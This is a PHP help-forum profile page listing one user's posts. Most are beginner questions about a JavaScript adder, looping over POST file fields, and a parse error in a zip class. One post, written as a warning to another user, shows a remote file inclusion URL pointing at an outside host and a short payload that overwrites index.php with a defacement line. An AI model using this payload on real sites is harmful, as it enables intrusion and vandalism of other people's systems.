Jump to content

tarun

Members
  • Posts

    321
  • Joined

  • Last visited

    Never

Posts posted by tarun

  1. Just Some Simple JS Will Do The Trick

     

    <html>
    <body>
    <script>
    function add()
    {
    var x = document.getElementById("txt1").value;
    var y = document.getElementById("txt2").value;
    document.getElementById("sum").value =(x*1)+(y*1);
    }
    </script>
    <form name="frm1">
    <input type="text" id="txt1" value="5"> + <input type="text" id="txt2" value="10"><input type="button" value="Add" onclick="add()">
    sum<input type="text" id="sum">
    </form>
    </body>
    </html>

  2. This Works As Mentioned By "chigley" And "pocobueno1388 "

     

    <?php
    foreach($_POST as $key => $value) {
    }
    ?>

     

    Is There A Way How I Can Make It More Advanced Since At The Moment It Uses All The $_POST Variables

    How Do I Do It So It Only Uploads Fields With file_1 , file_2, file_3 etc. Up To An Unlimited Amount

  3. Unfortunatley None Of These Methods Worked :(

    The First Two Provided No Output And This:

    <?php
    $index=1;
    while($_POST["file_".$index]<=10){
    echo "File $index Uploaded<BR>\n";
    $index++;
    }
    ?>

     

    Just Listed An Everlasting List Of Numbers. eg.

    File 1 Uploaded

    File 2 Uploaded

    File 3 Uploaded

    File 4 Uploaded

    File 5 Uploaded

    etc.

  4. Basically Ive Got Lots Of POSTs For A Multi-File Uploader

     

    It Needs To Run Through All The POST Variables

    eg

    file_1

    file_2

    file_3

    etc.

     

    I Would Think It Could Be Done With for Or foreach

    But Im Not Sure How So If Anyone Does Or Can Point Me In The Write Direction Please Post A Message Here

    K Thnx

  5. Parse error: parse error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /home/www/tpatelphp.awardspace.com/custom/createZip.inc.php on line 11

     

    01. <?php
    02. 
    03. /**
    04. * Class to dynamically create a zip file (archive)
    05.  *
    06.  * @author Rochak Chauhan
    07.  */
    08.
    09. class createZip {  
    10.
    11.	public $compressedData = array(); 
    12.	public $centralDirectory = array(); // central directory   
    13.	public $endOfCentralDirectory = "\x50\x4b\x05\x06\x00\x00\x00\x00"; //end of Central directory record
    14.	public $oldOffset = 0;
    15.

     

     

    Can't Figure Out The Problem With It

    If This Helps Its From The PHP createZip Class

  6. Yep I Could Something Like:

    pages.php?page=http://www.h4ck.com/phpinjection

     

    The phpinjection.php:

    <?php
    $entry_line="Ahaha. Hacked by a scipt kiddy.";
    $fp = fopen("index.php", "w"); 
    fputs($fp, $entry_line); 
    fclose($fp); 
    ?>

     

     

    Hmmmm.... Seriously Re-Write Your Code

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.